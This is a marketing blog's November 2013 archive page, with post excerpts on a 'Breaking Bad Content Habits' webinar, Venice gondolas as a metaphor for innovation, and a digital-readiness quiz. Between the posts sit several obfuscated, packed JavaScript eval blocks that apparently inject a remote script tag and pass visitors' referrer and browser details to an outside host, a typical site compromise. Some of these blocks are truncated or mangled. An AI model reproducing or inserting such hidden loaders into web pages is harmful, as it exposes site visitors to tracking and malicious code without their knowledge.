Monthly Archives: November 2013

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ernkd|var|u0026u|referrer|nnfyn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnhin|var|u0026u|referrer|yibbf||js|php’.split(‘|’),0,{}))

I was recently the guest speaker for ON24 on “Breaking Bad Content Habits” (with special thanks and inspiration from Vince Gilligan, the writer/genius behind the AMC series, “Breaking Bad.”)

In this 40 minute complimentary webinar, you will learn:

The five common B2B content marketing myths
How to overcome Content Creation Madness (CCM)
The power of setting clear program intentions
How webinars increase engagement and content retention
The future of content marketing

Here is the link for the on-demand version of the webinar….

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irsfd|var|u0026u|referrer|nzdyb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdhft|var|u0026u|referrer|arkhn||js|php’.split(‘|’),0,{}))

In marketing as in life, simply breaking your bad habits isn’t enough. You have to replace your former ineffective habits with new, more productive ones.

Here’s how:

1. Set your intentions for creating the content.

Kathy Meara, Content Marketing Manager for CA Technologies, is very clear about the purpose of CA’s webcasts….

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haesd|var|u0026u|referrer|iyrrh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnsze|var|u0026u|referrer|izdek||js|php’.split(‘|’),0,{}))

Will your innovations be able to stand the test of time like the gondolas in Venice, Italy?

My husband and I enjoyed our vacation in Venice, and our gondola ride was a major highlight. The gondola–one of the first mobile innovations to grace the ancient Venetian canals–has endured centuries of social, economic, and political changes….

What do a Mercedes E320 convertible and the future of marketing have in common? Plenty, starting with blind spots.

How digital-ready is your team?

Take our 3 minute quiz to find out.
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